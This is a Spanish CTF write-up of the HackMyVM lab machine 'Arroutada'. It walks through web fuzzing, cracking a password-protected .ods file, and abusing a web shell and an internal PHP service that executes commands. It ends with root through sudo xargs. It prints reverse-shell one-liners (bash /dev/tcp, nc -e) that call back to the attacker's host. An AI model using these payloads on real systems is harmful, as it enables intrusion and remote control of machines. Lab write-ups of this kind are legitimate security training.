cd ~/blog

~/writeups/hmv/036-arroutada.md

036 - Arroutada

easy Linux hmv 04-03-2024
Nested path fuzzingLibreOffice (.ods) password crackingWeb parameter RCEInternal service pivoting (chisel) + RCEsudo xargs Privesc
hackmyvm.eu/machines/machine.php?vm=Arroutada

~1 min de lectura


Comenzamos con un escaneo de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.32
 nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.32
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-04 14:30 -03
Nmap scan report for 192.168.1.32
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.54 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

Enumeramos con gobuster:

 gobuster dir -u http://192.168.1.32 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 59]
/imgs                 (Status: 200) [Size: 939]
/scout                (Status: 200) [Size: 779]
...

En /scout hay una nota que nos pide adivinar un primer directorio, sabiendo que el segundo es docs:

Hi, Telly,

I just remembered that we had a folder with some important shared documents. The problem is that I don't know wich first path it was in, but I do know the second path. Graphically represented:
/scout/******/docs/

With continued gratitude,
J1.

Enumeramos /scout para obtener candidatos al primer directorio:

 gobuster dir -u http://192.168.1.32/scout -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/download             (Status: 200) [Size: 763]
/img                  (Status: 200) [Size: 753]
/1                    (Status: 200) [Size: 749]
/links                (Status: 200) [Size: 757]
/content              (Status: 200) [Size: 761]
/exploits             (Status: 200) [Size: 763]
/j1                   (Status: 200) [Size: 751]
/j2                   (Status: 403) [Size: 277]
/bye                  (Status: 200) [Size: 753]
/spell                (Status: 200) [Size: 757]
...

Con esos nombres armamos un diccionario y fuzzeamos la ruta /scout/FUZZ/docs, dando con j2:

 ffuf -u "http://192.168.1.32/scout/FUZZ/docs" -w dict.txt
...
j2                      [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 3ms]
...

En http://192.168.1.32/scout/j2/docs/ hay un par de .txt y un shellfile.ods protegido por contraseña, que crackeamos con john:

 cat pass.txt
user:password
 cat z206
Ignore z*, please
Jabatito
 libreoffice2john.py shellfile.ods > hash
 john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
john11           (shellfile.ods)
...

El documento revela la ruta de una webshell:

OK. I’m sorry. I hate fuzzing so much, too.
PATH:		/thejabasshell.php

Fuzzeamos sus parámetros: encontramos a y luego b, que combinados dan ejecución de comandos:

 ffuf -u "http://192.168.1.32/thejabasshell.php?FUZZ=/etc/passwd" -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fs 0
...
a                       [Status: 200, Size: 33, Words: 5, Lines: 1, Duration: 7ms]
...

 curl 'http://192.168.1.32/thejabasshell.php?a=/etc/passwd'
Error: Problem with parameter "b"

 ffuf -u "http://192.168.1.32/thejabasshell.php?a=ls&b=FUZZ" -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fw 5
...
pass                    [Status: 200, Size: 40, Words: 1, Lines: 5, Duration: 24ms]
...

 curl 'http://192.168.1.32/thejabasshell.php?a=whoami&b=pass'
www-data

Lanzamos una reverse shell:

http://192.168.1.32/thejabasshell.php?a=bash -c "bash -i >%26 /dev/tcp/192.168.1.10/1234 0>%261"&b=pass

Con pspy64 detectamos un cron del usuario drito que levanta un servidor PHP solo accesible localmente:

...
2024/03/04 19:24:01 CMD: UID=1001  PID=11722  | /bin/sh -c /home/drito/service
2024/03/04 19:24:01 CMD: UID=1001  PID=11723  | /home/drito/service
2024/03/04 19:24:01 CMD: UID=1001  PID=11724  | sh -c /usr/bin/php -S 127.0.0.1:8000 -t /home/drito/web/
...

Hacemos un remote port forwarding con chisel para alcanzar ese servicio interno:

 ./chisel server -p 8001 --reverse
www-data@arroutada:/tmp$ ./chisel client 192.168.1.10:8001 R:1080:socks

Comprobamos el servicio a través de proxychains:

 proxychains curl http://127.0.0.1:8000
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8000  ...  OK
<h1>Service under maintenance</h1>
<br>
<h6>This site is from ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>---.+++++++++++..<<++.>++.>-----------.++.++++++++.<+++++.>++++++++++++++.<+++++++++.---------.<.>>-----------------.-------.++.++++++++.------.+++++++++++++.+.<<+..</h6>
<!-- Please sanitize /priv.php -->

El comentario apunta a /priv.php. Lo consultamos y vemos que ejecuta el parámetro JSON command vía system:

 proxychains curl http://127.0.0.1:8000/priv.php
...
Error: the "command" parameter is not specified in the request body.

/*

$json = file_get_contents('php://input');
$data = json_decode($json, true);

if (isset($data['command'])) {
    system($data['command']);
} else {
    echo 'Error: the "command" parameter is not specified in the request body.';
}

*/

Confirmamos RCE como drito y lanzamos una reverse shell:

 proxychains curl http://127.0.0.1:8000/priv.php -d '{"command":"whoami"}'
...
drito

 proxychains curl http://127.0.0.1:8000/priv.php -d '{"command":"nc 192.168.1.10 4321 -e /bin/bash"}'

Obtenemos la flag de usuario. Para escalar, revisamos sudo -l:

drito@arroutada:~$ sudo -l
Matching Defaults entries for drito on arroutada:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User drito may run the following commands on arroutada:
    (ALL : ALL) NOPASSWD: /usr/bin/xargs

Podemos ejecutar xargs como root (GTFOBins), con lo que obtenemos una shell de root:

drito@arroutada:~$ sudo xargs -a /dev/null bash
root@arroutada:/home/drito#

La flag de root está en base64 y, tras decodificarla, en ROT13:

root@arroutada:~# cat root.txt
R3VuYXhmR2JGenlOYXFOeXlVbnB4WmxJWg==

 echo "R3VuYXhmR2JGenlOYXFOeXlVbnB4WmxJWg==" | base64 -d
GunaxfGbFzyNaqNyyUnpxZlIZ

 echo "GunaxfGbFzyNaqNyyUnpxZlIZ" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
[redacted]

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados